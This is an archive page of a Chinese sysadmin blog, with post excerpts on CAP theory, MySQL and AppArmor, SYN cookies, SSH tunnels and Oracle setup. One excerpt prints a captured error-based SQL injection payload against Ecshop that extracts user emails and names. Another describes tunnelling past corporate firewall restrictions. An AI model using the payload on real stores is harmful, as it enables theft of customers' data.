Archive for category 网络和安全

运维的CAP原则

小站上的 文章大多以实际操作为主,这次就介绍点理论吧。

曾经跟几个同行聊起了数据库这边的容错方案,有朋友发过类似的牢骚:“网站(或者数据库)做了负载均衡,可用性提高了,单点故障也不怕了,但数据的同步总是慢半拍,无法适用某些应用。如果要求完全解决一一致性的麻烦,就只能到回去。”

Read the rest of this entry »

,

1 Comment

Ecshop的问题

在看一台服务器的SQL-Slow日志,看到了如下的一纪录,惊出了一身冷汗!

SELECT pg.package_id, pg.goods_id, pg.goods_number,
        pg.admin_id, g.goods_sn, g.goods_name, g.market_price, g.goods_thumb, g.is_real,
        IFNULL(mp.user_price, g.shop_price * '1') AS rank_price
FROM `ecs_`.`ecs_package_goods` AS pg
        LEFT JOIN `ecs_venusveil`.`ecs_goods` AS g ON g.goods_id = pg.goods_id
        LEFT JOIN `ecs_venusveil`.`ecs_member_price` AS mp ON mp.goods_id = g.goods_id AND mp.user_rank = '0'
WHERE pg.package_id = -1
union all
        select 1,2,3,4,5,6,7,8,count(*),concat(
                (Select concat(0x5b,email,0x3a,user_name,0x5d)
                        FROM ecs_users
                        LIMIT 9456,1), floor(rand(0)*2))x
         from information_schema.tables
         group by x
ORDER BY pg.package_id, pg.goods_id;

Read the rest of this entry »

, , ,

2 Comments

Ubuntu的AppArmor引发的Mysql问题

这些天一台ubuntu server的mysql数据目录/var/lib/mysql所在分区快用光了,于是想把Mysql的数据目录移到一个相对空闲的分区下,直接修改了my.cnf中的配置,系统提示无法启动Mysql。又自做聪明的使用了链接文件访问,仍然无效。完全排除了所有linux文件系统权限的可能之后,我回忆起了之前在Redhat系操作系统上发生过的SeLinux导致的类似问题。看了一下官档,果然!Ubuntu在710之后,增加了一个类似于Selinux的权限控制服务叫做AppArmor,名字就很有意思:应用铠甲,让我想起了Diablo2中的暗金⋯⋯

Read the rest of this entry »

, , ,

No Comments

SYN-ACK-ACK攻击和SYN COOKIE

没事在看Juniper Netscreen的警报日志,看到有一条SYN-ACK-ACK记录。

正常情况下TCP/IP协议中SYN握手大致上如此:

  1. A(发起者)发送一个SYN给B(接收者)
  2. B回复SYN-ACK给A
  3. A回复ACK给B
  4. 连接成功!

这个过程的缺陷是,如果A是有恶意的来源,始终不停的发送SYN给B,那么B就会不停的建立起空连接(未完成的连接)等待A的ACK响应,只要A不回应,B的空连接就会不断的消耗资源,直至无法响应。

Read the rest of this entry »

,

No Comments

安装Subversion服务器

SVN虽说已经老了,可能逐步要被Git这类的新型版本控制服务软件代替了。但就单单兼容性和整合度来说,唯一与之媲美的只有更加古老的CVS了。

总之,没什么可以解释的,直接切入正题吧。服务器又是我近期一贯使用的Ubuntu Server。版本是1004 LTS。

$sudo apt-get update #迟早会像我一样条件反射的打这条命令的
$ sudo apt-get install subversion subversion-tools

Read the rest of this entry »

, , ,

No Comments

从GAE看网站架构趋势

在Google App Engine做了几个东西。从当初觉得这个平台的迥然不同,直到现在逐步了解了这个平台的逻辑架构。作为Google的一款成功的作品,相信GAE的很多东西将会陆陆续续被模仿和抄袭,直到真正影响到我们。本文就以我个人的理解,谈谈GAE将会给今后的网站架构带来哪些革命性的东西。

首当其冲的应该算是云技术,但这个技术总体上属于物理层的技术,况且云已经成为公认的技术趋势。这里主要是谈下网站的架构,云技术相对关系较为偏离,我也就不再探讨了。

Read the rest of this entry »

, , , , ,

1 Comment

Gtalk通知机器人脚本

服务器每天都有这样那样的信息需要实时推送。最初一直是Mail,最容易实现,成本也低。后来有了短信接口,就有了相对实时但要花钱的方式推送。

知道GAE可以直接跟gtalk挂钩推送消息,可能一直挂Gtalk的人远没有挂QQ和MSN的多(密之声:Gtalk又没有星星和钻石,挂也没劲),但有了Android + 3G的实时在线,这种方式却可以直接替代SMS这类花钱的服务,何乐不为?

大致上完成了原型,制作了一个基于Python的命令行程序,不敢独享,分享给大家。希望大家能够一起加入这个项目完善它。
在此之前,请现将 server-say @@@ appspot.com (你懂的!)加为好友

Read the rest of this entry »

, ,

2 Comments

用SSH Tunnel穿越防火墙

这次接上篇

很多企业对互联网的访问进行了限制,如何突破防火墙的限制成了一个问题。本文就是利用了SSH tunnel搭建了socket5代理。

首先,申请一个外网的ssh帐户,个人建议使用http://www.unix-center.net/提供的免费资源,该网站还提供多种平台主机可供测试之用,非常不错!当然,如果可以使用密钥方式登录那就完美了。

Read the rest of this entry »

, , ,

4 Comments

用ssh tunnel打造安全邮件系统

近期,甚至于连Google这样的企业也感觉到了邮件系统的安全问题。这里采用了相对实现成本较低的方式,通过ssh的tunnel达到邮件在传输的过程中不会受到中间人攻击造成数据泄露。

故名思义,tunnel就是在邮件服务器和企业防火墙之后设置一条逻辑上的隧道。这条隧道一方面为了数据安全,另一方面,由于ssh的压缩功能也能在一定程度上减少邮件这类纯文本传输的网络需求。

先决条件:

  1. Unix like的邮件系统,并安装了ssh-server,本例中假定邮件服务器ip为1.2.3.4
  2. 企业路由器和内网:路由最好有vpn和防火墙功能。
  3. 内网的 一台主机,配置不必太高(我用了虚拟机,64M内存已经足够近百人使用),安装有ssh-client,如果是win主机,推荐使用putty的安装版本。经过测试,个人觉得FreeBSD下的性能较好。考虑到安全,这台主机尽量不要安装远程控制台并尽可能上锁。本例假定ip 192.168.1.1。
  4. 注意整个系统的安全策略,账户策略等,相比中间人攻击这样的“高级”黑客行为,破解密码,利用漏洞永远是成本最低的方法。

Read the rest of this entry »

, , , ,

3 Comments

Ubuntu下安装oracle11G up2

oracle的11G总算到了up2,这次的升级个人感觉最大的改善就是将clustter包成了标准包的一部分,看起来今后oracle数据库要越发的使用更多的机器了。目前官方只提供了Solaris和Linux的安装包,Win以及其他操作系统看起来还是要等。

oracle官方建议的linux仅限于Redhat, Suse, Asianux以及oracle自家的linux。但作为测试的一部分,我选择了ubuntu的新版本910 AMD64 server作为平台。不过理论上使用ubuntu Desktop或者Xubuntu更省力一点。系统内存为8G,根据建议(如下),设置了8G的swap。

之前还有一篇solaris下10up2的安装可以参考

Between 0 MB and 256 MB 3 times the size of RAM
Between 256 MB and 512 MB 2 times the size of RAM
Between 512 MB and 2 GB 1.5 times the size of RAM
Between 2 GB and 16 GB Equal to the size of RAM
More than 16 GB 16 GB

Read the rest of this entry »

, ,

No Comments